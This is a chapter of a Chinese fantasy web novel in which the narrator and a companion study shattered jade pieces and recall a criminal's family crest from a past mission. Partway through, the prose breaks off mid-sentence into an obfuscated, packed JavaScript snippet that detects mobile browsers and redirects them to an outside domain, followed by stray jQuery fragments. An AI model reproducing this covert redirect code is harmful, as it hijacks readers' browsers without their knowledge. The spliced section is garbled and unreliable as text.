25. 第 25 章

作品:《凑热闹被抓人质后

    “哎呀,这些碎片看上去好眼熟啊。”


    在卫凌阳暂时下线后,那位少女再次出现。


    她就蹲在那堆被我击碎的白玉碎片旁,低头观察道。


    “好像曾经在哪里见到过一样的花纹材质。”


    她将手肘支在膝盖上,撑着脑袋开始思考。


    “喂,时欢,把它们拼起来看看,说不定能发现些什么呢。”


    ……


    她说得好理直气壮哦。


    虽然我肯定也要去瞅瞅,看看这究竟是什么情况的,但她这么一要求后,我顿时不想去了怎么办。


    我很叛逆的!


    至少说声“请”好吗。


    咳……虽然这也很没有气势,但最起码,已经比最开始好很多了。对她,不能要求太多,毕竟她一向我行我素,我和她实在合不来。如果可以,我希望从来都不认识她。


    当然……说是这么说,我只是在心底腹诽了几句,最后还是乖乖走过去,站在碎片的三步开外,抱胸俯视那堆碎得很零散的玉片。


    被击碎的玉片此刻已经看不出来原先的样子,只余一些白色的玉屑碎末混杂着堆在一起。真难为她,眼睁睁看着它们还能说出这些瞎话来。


    我打心底佩服她。


    她真的是具有一双“慧眼”呐。


    “走近些嘛,拼起来看看。”


    飞舟并未停歇,雾气阴冷依旧,只是原本浓厚的颜色此时已经有些浅淡了,隔着金红色的光圈,她的身影混在浅薄的雾色中,都显得黯淡了不少。


    可隐在朦胧视线中,那抹白色却异常扎眼。


    我和卫凌阳纠缠了那么久也没把它们吹散啊。


    它们还真是顽强。


    我站在原地,用我的宝贝神剑在碎片中挑挑拣拣。


    此时距离玉佩被击碎已经有了一会儿,里面储存着的不管是灵气也好魔气也罢,全都飘散一空,找不到残存的半分踪影。


    但我本意也不是如此,我根本没必要来确认来者是仙抑或是魔。在我这里,二者没有任何区别,都是我的敌人。


    这个时候人都打上门来了,不反击还等着辨认身份什么的,我觉得,他的脑子或许就和未开智的山猪一样,二者或许没什么关联,但山猪很好吃。


    我许愿我遇到的对手都是这样的一根筋。


    剑尖一挑,再一平,一块较大的碎片就顺着滑到了剑面中部。


    我凑近了仔细观察。


    没有特殊的符文。


    也不存在丝连的器咒。


    好像它的作用只是和阵眼相连,作为摆在阵眼之上的一个装饰品而存在。而在阵法被破开的瞬间,它也就完成了自己的使命,光荣下线。


    这人真的好有钱啊。


    相似材质的法器,我在琳琅阁的珍宝匣中见过。


    天价。


    根本买不起。


    我心底冒起酸水。


    为什么连个路人都能这么有钱,而身为主角的我却如此贫困!


    不公平!


    主角她也想过上锦衣华服,挥金如土的奢侈生活。


    我在心底念念有词,忿忿不平。


    不过既然已经确定了这些碎片中不存在什么直接的危险,那我就可以暂时放一大半心了。


    我捏起那片白玉,指腹摩挲几下,温润的手感在指尖翻转,摊开在掌心,能看到被片段放大的掌纹的纹路。


    “你是不是也觉得这些花纹很熟悉。”


    她蹲在那堆玉片旁,仰起头,歪着脑袋看向我。


    我微微侧首,垂目,被水汽压湿的薄雾落在身侧,几近洇湿了那片掌心。


    这哪有什么花纹可言。


    早就都被我一剑拍碎了好吗。


    手指合拢又舒展,几瞬过去,我努力瞪大眼睛,也依旧没看出它有什么变化。


    根据碎片来拼图不是我的长项,我也对此没什么兴趣,所以我只是挑拣了几块较大的碎片,悬在半空,根据印象大致勾了个轮廓出来。


    是一朵花。


    看不出什么品种,毕竟我对此毫无兴趣与研究,但加上我之前对它粗粗掠过的几眼,不难看出,这是一朵花。


    就像她所说,很眼熟,很熟悉,我应该确定我在几百年前就见过它。


    可到底是什么时候呢……


    少女的神色有些倦怠,没什么表情的用手指滑动旋转着那朵悬在半空的花,像是陷入了一场经年的旧梦。


    时间与记忆在指尖勾起漩涡,她是困于水流的顽石,逆流而上,也只捞起片段的金玉。


    原本沉落的过往被记忆搅浑,而此时种种又皆被雾气打湿,那愈发稀薄的金红色彩,像是翩鸿的飞鸟,惊扰了这一方的静默。


    还没等她有什么反应,蹲在一旁的身影就满脸兴奋,大拍合掌,语气也十分的抑扬顿挫。


    “你终于想起来啦,是我们一起出的秘密任务!还有印象吗?我可是记得很深呢!”


    当然,想忘记都难……


    我疲惫的阖上眼,捏捏眉心。


    如果可以,我情愿那天什么都没发生。


    也许是我略显寡淡的神情引起了对方的不满,她拍着膝盖,鼓起脸,瞪着我,很是不忿道:“干嘛这么冷淡!这可是我们一起出的第一个任务!和我这样的美少女一起出任务,你不应该感恩戴德吗?!”


    ……


    真是谢谢你了。


    有时候,我也很羡慕你的自恋状态。


    也不知道这么让人羞耻的语句你到底是怀着什么样的心情说出口的。


    特别的,让我自愧不如。


    她将头枕在胳膊上,盯着甲板上剩下的那堆屑末,“说起来,这个花纹,好像我们当时抓的那个罪人也有类似的呢……”


    嗯嗯,家族纹饰。


    我面无表情。


    “如果我没记错的话?这个好像还是什么……他的家族纹饰?好像是这样。”


    我努力绷住表情。


    “哦!对!家族纹饰!这可是家族纹饰!时欢你这个家伙……给我激动一点啊!这可是那个罪人的家族纹饰哎!超大的案子!就被我们给摆平了!你不激动吗!你不兴奋吗!你不记忆犹新吗!”


    好的,我听命笑了出来。


    激动嘛确实没有,兴奋有一些但也不多,倒是记忆确实很犹新,毕竟……


    只有他一个人的刚刚创建


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599336|172003||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的家族的家族纹饰……


    在我前后几百年的生命中,也只见了这一例而已。


    实在是很难让人忘怀。


    毕竟,对方在成事之前就意图妄想的雄心壮志实在是给了刚入仙界的我很大的震撼。


    我花了好久时间才调整好认知,发现仙界离谱到这种程度的喜剧人也算不得多。


    至少,没有到遍地都是的程度。


    那曾经的经历,不知为何,就算是我现在讲起来都觉得很离谱。


    这是什么“距离百年老字号如今仅剩99年”的奇异荒谬感啊。


    当然,我熟练的打个补丁,我并不是觉得这样打广告有什么不对,毕竟我们有一颗向着百年字号前进的心嘛,值得肯定与嘉奖。我只是借用一下表面意思,故意在嘲讽那个罪人而已。


    毕竟,他当初搞得大场面,让我们很难收场的。而经由他所犯下的罪孽,横跨三界牵连众多,那该死的血孽至今仍无法偿还。


    那是跨越生死至今仍存续在我和她身上的罪责,那是豁出一切却也只能任其消逝的无可奈何,那是……永远也无法被公之于众的灰烬。


    因为,谁都无法保证,会有人看到熄灭的火焰余孽而心底从不起风,不会任由火星滋长成一片野火,将自己与众人燃烧殆尽。


    而且,就我们当时在其中扮演的角色,为了自己的小命着想,最好还是缄口不言,只通过第三方将证据呈现。


    “我们当时可是一起把那个罪人送到界域去的呢,历经千辛万苦,好不容易的!你怎么可以如此冷静!给我回忆起一点属于过去的激情啊!”


    ……


    她好有活力。


    而我这个明确现存的活人现在的状态则和一个活死人几近无差。


    我宁愿将我多余的活力分给她。


    而且,我看着眼前破碎的白玉花朵,挑挑眉。


    你确定?


    那个时候明明是你哥哥赶过来给我们收拾烂摊子的好吗,我们谁都没能见到界域的人,如果那个时候我能搭上界域的门路,我还至于等到今天?


    简直错失一大良机啊!良机!


    “哎呀,本以为他被抓了之后就再也看不到这种纹饰了,没想到几百年过去了,现在又看到了呢。”


    她拍拍手,像是在随意感慨。


    暖色的阳光铺开在雾色中,混着金红的色光,微风吹过,拂起她的额发,将整个影子都隐在眼波的余光中。


    就像只展翅的小鸟。


    “难不成……”她抬起头看向我,“他从界域逃出来了?”


    “也不无可能。”她又低头沉思。


    我懂我懂,毕竟渣渣兄就是最好的例证嘛。


    虽然前因后果牵扯颇多,他后面还是被抓回界域而且还很无私的为我奉献了自己,但他确实能证明界域并非无法逃离。


    唔,实在勉强的话,这不是还有迟焰他这个活生生的例子嘛。


    越狱小龙,活的招牌,值得拥有。


    这是来自主角的肯定。


    “可不对啊。”她歪歪脑袋,神情疑惑,表情无辜,“他肯定死了呀。”


    “是我亲手杀的呢,不可能错的。”